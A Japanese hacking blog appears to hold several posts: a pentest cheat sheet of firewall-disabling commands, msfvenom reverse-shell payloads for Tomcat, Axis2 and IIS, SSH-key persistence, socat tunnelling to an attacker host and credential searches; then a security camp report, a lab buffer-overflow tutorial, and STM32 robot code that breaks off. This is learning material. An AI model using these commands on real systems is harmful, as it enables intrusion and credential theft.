netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
Firewallの設定を無効にする。

他にも以下の記事にいろいろなやり方が書いてある
www.hackingarticles.in
book.hacktricks.xyz

tomcat manager reverse shell

  • manual
    tomcat managerにログインできたときに以下のjspファイルを作成し、
    github.com
$ mkdir webshell
$ cp index.jsp webshell
$ cd webshell
$ jar -cvf ../webshell.war *

でwarファイルを作成してデプロイ
または,
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.1 LPORT=443 -f raw > reverse-443.jsp
でReverse shellのJSPファイルを作成したものをコンパイル
- use exploit/multi/http/tomcat_mgr_upload
- msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.1.1 lport=443 -f war > reverse-443.war
medium.com
charlesreid1.com

axis2 reverse shell

  • sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
    axis2にログインできている場合、上記でペイロードを作成。
    sudo jar -xvf shell.jarで一度展開し、
    META-INF/generate_payload.pyに書かれているservices.xmlを追加。
    metasploit/src/lib/axis2/PayloadServlet.classを追加.
    そして、
    sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat
    で再度jarファイルを作成し、アップロード。

Microsoft IIS reverse shell

  • msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.1 LPORT=8888 -f asp > shell-venom-less.txt
    netcatでリッスンする場合はStagelessを採用。
  • curl -T shell-venom-less.txt http://10.11.1.1/upload/
    aspファイルを直接Uploadできない場合は、TXTファイルをMOVEASPファイルに書き換える。
  • curl -X MOVE --header 'Destination:http://10.11.1.1/upload/shell-venom-less.asp' 'http://10.11.1.1/upload/shell-venom-less.txt'
    これで、URLにアクセスするとシェルが得られる。
  • bypass protected page
    IIS5.0ならWedDAVがデフォルトで有効になっており、Translate: fヘッダーを追加したり、%c0%afをURLの文字列に加えることで保護されているページにアクセスできるようになる。
    blog.skullsecurity.org

  • use exploit/windows/iis/iis_webdav_upload_asp
    Metasploitでも同じことが可能。

  • /usr/share/webshells/asp/cmdasp.asp
    KaliにASPのWebshellが存在するが、なんか実行できなかった。

Shell Upgrade

  • python -c 'import pty; pty.spawn("/bin/sh")'
    現在の擬似シェルから抜け出し、ptyシェルにアップグレード
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • perl —e 'exec "/bin/sh";'
    tty(疑似端末)を持たないシェルの場合、標準入力を使うsuコマンドやジョブ制御ができない
    echo $SHELLで現在使っているシェルを確認
    https://netsec.ws/?p=337に詳しくのっている。
    参考:完全なTTYシェルの取得

orebibou.com
https://innogen-security.com/linux-tty-shell-using-script/innogen-security.com

Upgrading Simple Shells to Fully Interactive TTYs - ropnop blog

Bypass restricted shell

  • vi上で:!/bin/sh,:set shell=/bin/sh,:shell
  • scp -F /etc/passwd x y:
    その他、less,moreコマンドなど
    rbash上ではls,cd,/を含むコマンド,export PATH=/usr/bin:$PATHなどができない。ビルトインコマンド(execなど)を試す
    export -p
    pwd
  • シェルに接続する時に-t "bash --noprofile"を付与すると、制限付きシェルを回避できるかもしれない。
    SSHを介してコマンドが実行できるということ
  • OS(Kernel)特有のバグで回避できるかもしれない
  • help
    helpコマンドはビルトインなので実行できる

  • SSH shellでログイン
    Kali@ssh-keygen -P "" -f vulnerable
    Target@ mkdir ~www-data/.ssh
    Target@chmod 700 ~www-data/.shh
    Target@cd ~www-data/.ssh
    Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
    Target@chmod 600 authorized_keys
    これで準備OK
    Kali@ssh 192.168.56.26 -l www-data -i vulnerable
    参考(詳細)
    https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shellspen-testing.sans.org

www.hackingarticles.in

fireshellsecurity.team

Socatを用いたTCPリダイレクト

  • Kali@ssh-keygen -P "" -f vulnerable
    SSH鍵を作成する。これでvulnerableとvulnerable.pubという秘密鍵と公開鍵が作成される。このうち、公開鍵を標的のサーバ上に保存する。「@Kali」と書いてるのはどっちで操作するのかわかりやすくするため
  • Target@ mkdir ~www-data/.ssh
  • Target@chmod 700 ~www-data/.shh
  • Target@cd ~www-data/.ssh
  • Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
  • Target@chmod 600 authorized_keys
    これで準備OK。
  • Target@ while true; do socat TCP4:attacker:443 TCP4:127.0.0.1:22 ; done
  • Kali@ sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
    そして、最後にKaliで新たなTerminalを作成して、そこで
  • Kali@ssh localhost -p 2222 -l www-data -i vulnerable
    とすれば以下のように使いやすいシェルが降ってくる。
    f:id:kakyouim:20200103201628p:plain
    さらに、代わりに
  • Kali@ssh localhost -p 2222 -l www-data -i vulnerable -L 13306:localhost:3306
    とすることで、このシェルがつながった後、シェル上で
  • Target@mysql -h localhost -u root -P 13306
    とすることで以下のような良いMysqlシェルが立ち上がる。
    f:id:kakyouim:20200103201814p:plain

クレデンシャル情報の探索

  • find . -type f -name "*.php" | xargs grep "username" | grep "password"
  • grep -r "config" . | grep "password"
  • locate settings.php
    などで探す。/var/www/以下にあるファイルに対して行う。settings,configなどの名前のことが多い。


2020 3/8追記
以前ここに書いていたWindows のPEとIGの方針は文字数の都合上以下に載せなおしました。
kakyouim.hatenablog.com

最後

なんか間違ってたりしてたら教えていただけると幸いです。Vulnbub頑張るぞい!

セキュリティキャンプ2019に参加してきました!

どうも、高林です。 今回はセキュリティキャンプに参加した感想を書こうと思います!
自分よりはるかにレベルの高い人たちと一緒に学ぶことができてとても成長できたと感じています!!
ここでは、自分が何の講義を取ったのかを話したいと思います。

自分が選択した講義

A1~3「インシデントレスポンスで攻撃者を追いかけろ」

この講義では、実際にインシデントが発生したときにどう対処していくのかを学習しました。
とはいっても、当日はCTF形式の演習だけで、ツールの使い方などは事前学習で行いました。
事前課題では講師の方がとても丁寧に対応してくれました!
マルウェア感染後の対応などは、独学でやるには限界があるので、ここで教えていただいたことはとても貴重な体験でした。

D4「組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~ 」

この講義では、実際にロボットを使ってセキュリティの重要さを理解する、という講義が行われました。
事前課題にマイコンが配られて、RTOSについて実際に手を動かして学ぶことができました!

B5「体系的に学ぶモダン Web セキュリティ」

この講義では、主にブラウザ側のセキュリティ対策について学びました。
Content-Security-PolicyやSame-Origin-Policyなどのポリシーから、XSSCSSを用いた攻撃手法などを学びました!
こちらも事前課題がとても充実しており、タイトル通り「体系的に」学ぶことができたと思います。
自分はCTFではrev、pwnをやるのでWebはさっぱりだったのですが、隣に座っていたすごいツヨツヨな方になんども助けてもらいました。
こういうすごい方と知り合えるのもセキュリティキャンプの良いところですね!

B6「つくって学ぶ、インターネットのアーキテクチャと運用 」

この講義では、実際にPCに仮想のインターネットを構築して、そのインターネットをほかの参加者のインターネットとつなげる、という講義を行いました。
やろうとしていることは理解できましたが、実際に設定をするのに苦労しました

E7「実践トラフィック解析」

この講義では、キャンプ期間中のキャンプ内のトラフィックハニーポットトラフィックの2種類をwiresharkで解析しました。
ぼくはハニーポットの方のパケットを見ていたのですが、既知の脆弱性を突こうとするようなパケットや、ありがちなパスワードで認証を突破しようとしているパケットが多くあり、セキュリティの重要さが体感できました!

感想

とても有意義な時間を過ごすことができました!
五日間ということでしたが、実際には二日程度いたかな?くらいの体感速度でした。「あれ?もう終わり?」って感じです。
レベルの高い講義で成長できたのもありますが、やはり大きいのは、キャンプ後も交流したいと思える仲間ができたことですね。
自分は情報系の学科ではなく、周りにセキュリティに興味のある人がいないので、こういう場でできた仲間を大切にしていきたいと思います!

最後に、このような素晴らしい機会を与えてくださった講師の方やセキュリティキャンプ関係者、企業の方々、本当にありがとうございました!

おまけ

TODO:リバーシング、pwn、マルウェア解析、ハニーポット運用、ロボコン脆弱性診断、Webアプリ開発

バッファオーバーフロー

はい、皆さんこんばんは。

今回は、手元の環境で動作を確認しやすいバッファオーバーフローという脆弱性について述べたい。
バッファオーバーフローとは、メモリ上のバッファに、不正なシェルコードなどの入力をすることで、その実行位置IPを奪う攻撃である。
スタックを用いた攻撃の他に、ヒープや静的領域などを用いた攻撃が存在するが、今回はスタックを用いた攻撃について詳しく述べたい。

スタックベースのバッファオーバーフロー

まずは、スタックを用いたバッファオーバーフローの原理について述べる。
ユーザーの作ったプログラムが実行されるとき、main関数のローカル変数は、スタック上に配置される。スタックにはほかにも、関数を呼び出す際の引数や、その関数を呼び出した後に戻ってくるためのリターンアドレスや、関数プロローグに用いられるebpの値などが積まれている。

これを踏まえて、もしローカル変数があふれた場合にどうなるかについて考える。そのあふれた入力は、そのローカル変数に隣接する無関係の領域に書き込まれてしまう。例えば、入力に使われるローカル変数の近くに、リターンアドレスがある場合、そこに別の関数へのアドレスを書いておくことで、別の処理をさせることができるのである。

ローカル変数の破壊

次に、具体的な例を示す。
まずはローカル変数が破壊できていることを確認してみる。なお、以下ではSSPを無効としてコンパイルする。
コンパイラgccを用いる。
そのために、まずはbof1.cというプログラムを作成する。
今回は、vimで書く。

f:id:kakyouim:20190523205001p:plain
bof1.c

bof1.cはバッファのサイズを10バイトとしている。

次に、実行結果を確認する。
実行すると次のようになった。


f:id:kakyouim:20190523205749j:plain

まず、普通に10バイト以内の入力を入れると、zero変数には、0が値として入っていることがわかる。
次に、10バイト以上の入力を与えると、zero変数には1111638594という値が入っている。
これは、buffer変数からあふれた入力が、隣にあるzero変数の領域に書き込まれたことを示している。
つまり、書き込まれた0xBBBBを十進数に直してintにすると0xBBBB=0x42424242=1111638594となる。
Segmantation faultを起こしているので、gdbでどの部分がエラーになっているか確認してみる。

f:id:kakyouim:20190523210410j:plain
すると、EIPが0x0となっている。つまり、正しい実行位置にないためSegmentation faultを起こしている。
次に、入力を先ほどよりも多くすると、次のようになった。


f:id:kakyouim:20190523210607j:plain
この時のEIPは0x565555fbとなっている。
それでは、その部分のアセンブリをradare2を用いてみてみる。


f:id:kakyouim:20190523210723j:plain

すると、ff invalidとなっている。
X86の公式リファレンスでこの意味を確認すると、オペコードが無効となっていることがわかる。
ここから、やはり実行位置がただしく配置されなかったことがわかる。

このような方法で、変数の値を書き換えるような攻撃に対しては、変数の順序に気を付ける、入力文字数をチェックするなどの対策があげられる。
順序を変えれば、zero変数はbuffer変数より下のアドレスに配置されるため、buffer変数からあふれた入力がzero変数の領域に来ることはなくなる。

リターンアドレスの書き換え

次に、リターンアドレスを書き換える攻撃について述べる。次のようにbof2.cを作成する。


f:id:kakyouim:20190523211419p:plain

これは、グローバル変数のbuffer変数がstrcpy関数で、local変数からはみ出して上書きされてしまう脆弱性を持ったプログラムである。
リターンアドレスが書き換えられると、ret命令で、espが指しているアドレスに格納されているリターンアドレスをeipレジスタに書き込むときに、書き換えられた値をeipに書き込んでしまうからである。

では、このプログラムに不正な入力である、Aを32文字以上入れてみる。
実行結果は次の通りである。

f:id:kakyouim:20190523211641j:plain

すると、eipには0x41414141となるはずである。
ところが、実際にgdbで見てみると、eipには0x56555614となっており、ret命令から進んでいないことがわかる。

次に、この原因を探るためにmain関数を逆アセンブルしてみる。

f:id:kakyouim:20190523211740p:plain

すると、retの前にlea esp,[ecx-0x4]という記述がみられる。
この時、espに書き換えられたリターンアドレスが存在するアドレスが入っていれば、eipを奪えるはずである。
では、ecxについてみてみると、pop ecxが存在する。
さて、実際にバッファオーバーフローを発生させると、スタック上のリターンアドレスに書き込まれるが、その時に同時にpop ecxでespが指し示している値(ecxに代入される値)も書き変わる。
pop ecxでecxに代入される値が異常値になり、最終的なlea esp, [ecx-0x4]で代入されるespの値も異常値になる。
したがって、バッファオーバーフローSSP無効の状態でも検出することができている。

それでは、プログラムのeipは奪えないのかというと、そんなことはなくて、プログラムをbof2_2.cのように書き換えると、eipを奪うことができた。

f:id:kakyouim:20190523211934p:plain

Bof2_2は、main関数内の処理を別の関数から呼び出したものである。
このプログラムをgdbで実行すると、図のようになった。

f:id:kakyouim:20190523212104p:plain

ここから、eipには0x41414141という値が書き込まれていることがわかる。
このプログラムの逆アセンブル結果は次のようになった。

f:id:kakyouim:20190523212251p:plain

ここでgdbのesp, ecxの値を見ると、先ほどとは違い、有効なアドレスが書き込まれていることがわかる。よってバッファオーバーフローは検出されない。
この理由としては、gccコンパイルしたため、main関数でほかの関数を呼び出すときにgccがこういうコンパイルの仕方をするから、と考えられる。
それでは、この時にeipを書き換えて実行を操作してみる。
そのためにまずオーバーフローした入力の何文字目がeipに書きこまれるのかを知るために、pedaをgithubからcloneして使う。
Pedaのpattern_create、pattern_offsetを使うことで入力の何文字目かわかる。

f:id:kakyouim:20190524133738p:plain

ここで実行してみると、eipにはAFAAが書き込まれているため、44文字目から書き込まれていることがわかる。
よって、これ以降にアドレスを書き込めばよい。
リターンアドレスにmain関数のはじめの値を書き込めば、main関数が二回実行されるはずである。
gdbでmain関数のはじめのアドレスを確認すると、0x56555601となっている。
入力するときに、0x01に対応する文字列は存在しないため、echoコマンドを用いて入力する。ここでは、
Echo -e ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01\x56\x55\56’ | ./bof2_2 を実行した。

f:id:kakyouim:20190524133808p:plain

しかし、main関数は二回呼び出されず、Segmentation faultとなった。
この理由は、pieが有効になっているからと考えられる。
PIEは、実行されるファイルのアドレスがランダムになるものである。一方、ASLRはスタック領域・ヒープ領域・共有ライブラリが置かれるアドレスがランダムになるものである。
つまり、今回の場合は、main関数の最初のアドレスはプログラムを実行するときに毎回変化していると考えられる。

PIEが有効になっているかどうかは、readelf -a bof2_2 | lessを実行することで確認できるはずである。


f:id:kakyouim:20190524133846p:plain

これを実行すると、型のところに「DYN(共有オブジェクトファイル)」という記述がみられる。動的リンクは、共有ライブラリを動的に配置するものであるため、ここではファイルを動的に配置している、つまりファイルをランダムに配置していると考えられる。また、これはfileコマンドでも「shared object」という記述があることから確認できる。

f:id:kakyouim:20190524133929p:plain

また、checksec.shというファイルの持つセキュリティ機構を表示するシェルスクリプトを用いると、次のようになった。

f:id:kakyouim:20190524134308p:plain

PIEの部分は「Not an ELF FILE」というエラーが出ている。fileコマンドからもELFであることはわかるので、この記述はおかしい。
この原因はおそらくchecksecが壊れているからだと考えられる。

よって、この場合はアドレスのリークをすることで、eipにmain関数の値を書き込むことができる。
その方法としては、別のターミナルでbof2_2を実行した状態で、sudo gdb -q -p ‘pidof bof2_2’を実行して、gdb-peda$x/10xi main を実行すると0x56562665であることがわかる。ここで、ファイルの位置がランダムになっていることがわかる。


f:id:kakyouim:20190524135034p:plain

しかし、gdb上で入力すると0x9dなどは入力できない。しかし、プログラムを実行させてアドレスをリークさせてから入力する必要がある。
そのため、socatコマンドを用いて、仮想的にサーバー上でプログラムが待機しているようにして、そのポートにnetcatでアクセスすることで実行することを考える。

f:id:kakyouim:20190524135058p:plain

今回は、ncコマンドの代わりに、pythonなどで、リモートエクスプロイトをするコードを作成することで実現できる。

それでは、リターンアドレスを書き換えるような脆弱性の対策について考える。
先述のアセンブリバッファオーバーフローを防ぐ機能を持っていたbof2.cはセキュリティが完全かというとそういうわけではない。
今回のアセンブリの場合は、lea esp,[ecx-0x4]のecxの値を正しく書き込めればespが正しくなり、リターンアドレスを書き換えた状態でeipを奪うことができるはずである。


参考資料

https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Pwn
https://ja.wikipedia.org/wiki/バッファオーバーラン
http://www.ref.x86asm.net/
https://hiziriai.hatenablog.com/entry/2017/05/17/234505
https://tkmr.hatenablog.com/entry/2017/02/28/030528
https://tkmr.hatenablog.com/entry/2017/02/28/030528
https://teratail.com/questions/48377
http://warabanshi.hatenablog.com/entry/2013/05/18/231628
「HACKING: 美しき策謀」 Jon Ericckson著、村上雅章 訳 オライリージャパン
「セキュリティコンテストチャレンジブック」碓井利宣 竹迫良範 廣田一貴 保要隆明 前田優人 美濃圭佑 三村聡志 八木橋優 著 マイナビ出版
「セキュリティコンテストのためのCTF問題集」清水祐太郎 竹迫良範 新穂隼人 長谷川千広 廣田一貴 保要隆明 美濃圭佑 三村聡志 森田浩平 八木橋優 渡部裕 著 マイナビ出版

4足歩行ロボットの制作

どうも、こんちゃーす。
今回は、4足歩行ロボットを作ったことについて書こうと思います。
素人なので、あまりわかってないですが…
毎度のことながら、口調は定まっていません。

作ろうと思った理由

4足歩行ロボットを作ろうと思ったきっかけは、ボストンダイナミクスBigDogという奇妙な歩き方をするロボットを作りたいと思ったからである。
バランスを崩しても自分で修正する姿は、まるで本物の動物のようでとても興味を惹かれた。
そこで、物は試しということでまずは試作機を作ろうと思った。
今回は、歩く仕組みや制御などをすべて自分でやりたいと思ったので、すべて一人で作ることにした。
機体設計、回路設計、加工などもすべて一からやった。

開発環境

まず、使ったマイコンはSTM32F446REという、ST社が出している32bitのマイコンである。
開発環境はSystem Workbench for STM32で、CubeMXというマイコンの回路などの設定をするツールで設定して、それをEclipseに吐き出してEclipse上でプログラミングをした。
使った言語はC。

アルゴリズムについて

実際に歩くアルゴリズムには種類がたくさんある。
例えば、遊脚となるのが一脚だけの「ウォーク」、対角の脚が同期する「トロット」、前脚と後脚がほぼ同期する「ギャロップ」などがあり、それぞれで安定性が異なる。
今回は重心が安定しそうな「ウォーク」を採用した。
実際にロボットを動かすにはサーボモータ(mg996r)を用いることにした。例えば前足を前に10cm前進させようとするとプログラムでサーボモータを何度分回転させるかということに変換して考える必要がある。この方法には、一般的には逆運動学という理論が用いられる。
逆運動学とは、主にロボットの関節を制御する方法として知られるもので、指先やつま先の位置から関節の角度が求まる。
その計算のために必要なものとして、腕の長さ、関節の地面からの高さが必要なので、制御に距離センサーを追加した。
(注意)
後の結果でも述べているが、この逆運動学を用いたアルゴリズムは成功しなかった。
なぜなら、そもそもトルクが足りずにモータが思うような角度を出力できなかったからである。
逆運動学のソースコードを期待している方には申し訳ないですが、これ以降でそのコードは出てきません。

3DCAD

CADはinventor professionalという有料のソフトを用いる。ただし、学生は無料である。

大まかな手順としては、①パーツを作る②組み合わせる➂設計図を印刷する
である。

CADを作る意味はいくつかあるが、大きな意味として、干渉解析をすることができるからである。
実際に作る前に、どのパーツとどのパーツが重なり合ってしまうのかなどを確認できる。
また、穴の位置がずれていないかなども確認できる。
私も、さんざんやらかしてしまい、とてもお世話になった。
f:id:kakyouim:20190523165639p:plain


今回は、サーボモータを複数使うので、設計が楽になるように、サーボブラケットを3Dプリンターで用意した。
3Dプリンター用のデータもinventorで作ることができる。
f:id:kakyouim:20190523170308p:plain



部品の選定

  • DCモータ…電圧を制御することで動かす。PWMという矩形波の Duty比(ON、OFFの割合)で速度を制御。

     ステッピングモーターより速い

  • ステッピングモータ…回転角度をパルス数で指定して、そのぶんだけ回転させる。

     扱いやすい?

  • サーボモーター…小型のものが多く、トルクはあまり大きくない。

     PWM波のパルス幅( ONの時間)によって角度を指定する

今回はサーボモータを使う。
サーボモータサーボモータにはエンコーダと呼ばれる、回転を測る部品が内蔵されていて、
PID制御がされており、加減速が効率よく行われている

マイコンの選定

f:id:kakyouim:20190522212026p:plain
図1 マイコン

回路

回路図は「kiCAD」という回路設計用のCADを用いた。
以下に、回路図を一つずつ載せる。
f:id:kakyouim:20190522213407p:plain

今回は、サーボのPWM信号線が17本、ジャイロセンサーの信号線、デイスプレイの信号線、LSIの信号線、距離センサーの信号線を繋ぎます。
センサー系は、データシート通りに配線します。
サーボのPWMは、PWM波が出力できるピンに配線します。
左上の部分はLチカ(LEDちかちか)させる部分です。
STM32F446RE NUCLEOのデータシートを見ると、電源供給するには、VINに7~12Vを、V5には5Vを供給してくださいと書いてあるので、今回はVINに8.4Vを供給します。


f:id:kakyouim:20190522213454p:plain
今回は、マイコンとサーボ、センサー類をすべて一つの電池から供給します。
その際、誤動作をしたとき用に緊急停止スイッチを作ります。
単純に、間にスイッチを挟むだけでもいいように思えますが、それだとONのときに流れる電流が大きい場合、スイッチが焼けて壊れてしまいます。
なので、今回はNチャンネルのMOSFETを挟んだにします。スイッチをONにすると、ゲートに電圧がかかって、ドレイン~ソース間に電流が流れるようになります。


f:id:kakyouim:20190522213513p:plain
LSIは5V駆動のため、レギュレータで8Vを5Vに下げてあげる必要があります。それ以外は、データシート通りに配線します。


f:id:kakyouim:20190522213532p:plain
一番上の可変抵抗で、音量を調整します。

(追記)注意!これでは正しく動作しません!
よく考えてみると当たり前なんですが、この回路ではいろんな音を鳴らせるわけないです。
スピーカーとは信号を音の振動に変えて出力するものです。その時にどんな音を出すのかは、信号の情報によります。
つまり、交流でないといけません。直流だと音を表現できないです。

今回の場合は、信号(交流の電圧)をスピーカーにつなげばよいのですが、スピーカーに入力として必要な電力を用意する必要があります。
そのため、パワーアンプ回路という、電力を増幅する回路を間に入れる必要があります。

以下の図はパワーアンプ回路の一例です。
f:id:kakyouim:20190523165504p:plain



f:id:kakyouim:20190522213558p:plain
これも5V駆動です。
データシート通りに配線します。


f:id:kakyouim:20190522213614p:plain
これは、8Vを5Vに下げる回路です。上のダイオードは、逆電圧がかかった場合に、レギュレータに流れる電流をダイオードに変わりに流して、レギュレータを保護します。


f:id:kakyouim:20190522213636p:plain
これも5V駆動です。
データシート通りに配線します


電源には以下を用いた。


f:id:kakyouim:20190522213741p:plain

実際の回路は次のようになった。

f:id:kakyouim:20190522213657p:plain


なお、ロボットに配線する際には、配線がわかりやすくなるようにするために、以下のようにした。
しかし、これは後からわかったことであるが、こうすることで損失抵抗が多くなり、電圧降下が2Vほど見られた。
サーボモータを同時に動かすために大電流を流しているからである。
f:id:kakyouim:20190522213715p:plain

CubeMXの設定について

(追記)最近CubeIDEというものがリリースされましたが、これはそれより前のSW4STM32の設定の方法です。
スライドを作成したので、これを見てほしい。

f:id:kakyouim:20190523171749p:plain



f:id:kakyouim:20190523171806p:plain

50Hz = 1秒に50回振動する = 1回の振動には20msかかる

「20msのうち、1.5msだけONにする」=「Duty比100のうち、Duty比7.5のPWM波」
 ➡50HzでDuty比が7.5のPWM波を作ればよい!


f:id:kakyouim:20190523171849p:plain


f:id:kakyouim:20190523171905p:plain



f:id:kakyouim:20190523171923p:plain



f:id:kakyouim:20190523171937p:plain




f:id:kakyouim:20190523171949p:plain




f:id:kakyouim:20190523172001p:plain


f:id:kakyouim:20190523172018p:plain

ソースコード

毎度のことながら、乱暴で煩雑なコードです。
このコードは夜中に一日で書いたので、もっと簡潔に書くべきですが、ごり押ししています。(次の日風邪ひいた)


CubeMXのおかげで、細かい設定などのプログラムは自動で生成されるので、ユーザーとして付け足す部分について述べる。
まず、サーボモータの初期位置を記述するために以下のようにした。
また、map関数はDuty比を角度に変換する自作の関数である。




参考文献としては、
blog.livedoor.jp
のしろうさぎさんの記事がとても役に立つので、参考にしてください。

#define SERVO996_LOW 500
#define SERVO996_HIGH 1000
#define SERVO3003_LOW 750
#define SERVO3003_HIGH 950
int8_t PULSE996;
int8_t PULSE3003;
uint16_t Angle;

int8_t PULSEA1 = 0;
int8_t PULSEA2 = 0;
int8_t PULSEA3 = -30;
int8_t PULSEA4 = 0;
int8_t PULSEA5 = 0;

int8_t PULSEB1 = 0;
int8_t PULSEB2 = 0;
int8_t PULSEB3 = -20;
int8_t PULSEB4 = 0;

int8_t PULSEC1 = 0;
int8_t PULSEC2 = 0;
int8_t PULSEC3 = -10;
int8_t PULSEC4 = -10;

int8_t PULSED1 = 0;
int8_t PULSED2 = -5;
int8_t PULSED3 = -20;
int8_t PULSED4 = -10;

long map(long x, long in_min,long in_max,long out_min,long out_max){
		return (x-in_min)*(out_max-out_min)/(in_max-in_min)+out_min;
}

以下は、whileの中に書く部分である。こちらもごちゃごちゃなので、ほぼ参考にしないでください…

  /* USER CODE BEGIN WHILE */
  while (1)
  {

	  //walking step1 before
	    Angle=map(PULSEC3 -10,0,120,SERVO996_LOW,SERVO996_HIGH);
	       __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	             HAL_Delay(200);


	    Angle=map(PULSEC2 +15,0,120,SERVO996_LOW,SERVO996_HIGH);
	          __HAL_TIM_SET_COMPARE(&htim4,TIM_CHANNEL_1,Angle);

	    Angle=map(PULSEC3 ,0,120,SERVO996_LOW,SERVO996_HIGH);
	      __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	        HAL_Delay(300);

	    Angle=map(PULSED3 -10,0,120,SERVO996_LOW,SERVO996_HIGH);
	     __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	         HAL_Delay(200);

	    Angle=map(PULSED2 +15,0,120,SERVO996_LOW,SERVO996_HIGH);
	          __HAL_TIM_SET_COMPARE(&htim4,TIM_CHANNEL_4,Angle);

	    Angle=map(PULSED3,0,120,SERVO996_LOW,SERVO996_HIGH);
	      __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	            HAL_Delay(1000);

	  //walking step1
	    Angle=map(PULSEA3 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	          __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_4,Angle);
	          HAL_Delay(300);
	    Angle=map(PULSEA4 +40,0,120,SERVO996_LOW,SERVO996_HIGH);
	          __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_2,Angle);
	          HAL_Delay(300);
	    Angle=map(PULSEA3,0,120,SERVO996_LOW,SERVO996_HIGH);
	          __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_4,Angle);
	          HAL_Delay(1000);
	  //walking step1 after
	          Angle=map(PULSEC3 -15,0,120,SERVO996_LOW,SERVO996_HIGH);
	             __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	                   HAL_Delay(200);


	          Angle=map(PULSEC2,0,120,SERVO996_LOW,SERVO996_HIGH);
	                __HAL_TIM_SET_COMPARE(&htim4,TIM_CHANNEL_1,Angle);

	          Angle=map(PULSEC3 ,0,120,SERVO996_LOW,SERVO996_HIGH);
	            __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	              HAL_Delay(300);

	          Angle=map(PULSED3 -15,0,120,SERVO996_LOW,SERVO996_HIGH);
	           __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	               HAL_Delay(200);

	          Angle=map(PULSED2,0,120,SERVO996_LOW,SERVO996_HIGH);
	                __HAL_TIM_SET_COMPARE(&htim4,TIM_CHANNEL_4,Angle);

	          Angle=map(PULSED3,0,120,SERVO996_LOW,SERVO996_HIGH);
	            __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_1,Angle);
	                  HAL_Delay(1000);


	          //walking move1
	    Angle=map(PULSEC4 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	          __HAL_TIM_SET_COMPARE(&htim1,TIM_CHANNEL_2,Angle);
	                 //HAL_Delay(1000);
	    Angle=map(PULSED4 +40,0,120,SERVO996_LOW,SERVO996_HIGH);
	           __HAL_TIM_SET_COMPARE(&htim13,TIM_CHANNEL_1,Angle);
	                 //HAL_Delay(1000);
	     Angle=map(PULSEB4 +30,0,120,SERVO996_LOW,SERVO996_HIGH);
	           __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_2,Angle);
	                 //HAL_Delay(1000);
	  //walking set2(to first)
	  /*   //B
	     Angle=map(PULSEB3 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	        __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_1,Angle);
	              HAL_Delay(300);
	     Angle=map(PULSEB4 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	        __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_2,Angle);
	              HAL_Delay(300);
	     Angle=map(PULSEB3,0,120,SERVO996_LOW,SERVO996_HIGH);
	            __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_1,Angle);
	              HAL_Delay(1000);
	  */
	      //C
	     Angle=map(PULSEC3 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
	        __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	              HAL_Delay(300);
	     Angle=map(PULSEC4 +40,0,120,SERVO996_LOW,SERVO996_HIGH);
	        __HAL_TIM_SET_COMPARE(&htim1,TIM_CHANNEL_2,Angle);
	              HAL_Delay(300);
	     Angle=map(PULSEC3,0,120,SERVO996_LOW,SERVO996_HIGH);
	            __HAL_TIM_SET_COMPARE(&htim8,TIM_CHANNEL_2,Angle);
	              HAL_Delay(1000);
	      //before for D
	          //before A
	     Angle=map(PULSEA3 -10,0,120,SERVO996_LOW,SERVO996_HIGH);
	        __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_4,Angle);

	    Angle=map(PULSEA2 +15,0,120,SERVO996_LOW,SERVO996_HIGH);
	        __HAL_TIM_SET_COMPARE(&htim1,TIM_CHANNEL_3,Angle);
	        HAL_Delay(200);
	     Angle=map(PULSEA3 ,0,120,SERVO996_LOW,SERVO996_HIGH);
	       __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_4,Angle);
	          HAL_Delay(300);
	          //before B
	     Angle=map(PULSEB3 -10,0,120,SERVO996_LOW,SERVO996_HIGH);
	        __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_1,Angle);

	    Angle=map(PULSEB2 +15,0,120,SERVO996_LOW,SERVO996_HIGH);
	       __HAL_TIM_SET_COMPARE(&htim2,TIM_CHANNEL_3,Angle);
	       HAL_Delay(200);
	     Angle=map(PULSEB3,0,120,SERVO996_LOW,SERVO996_HIGH);
	        __HAL_TIM_SET_COMPARE(&htim3,TIM_CHANNEL_1,Angle);
	        HAL_Delay(1000);


	      //D
	      Angle=map(PULSED3 -30,0,120,SERVO996_LOW,SERVO996_HIGH);
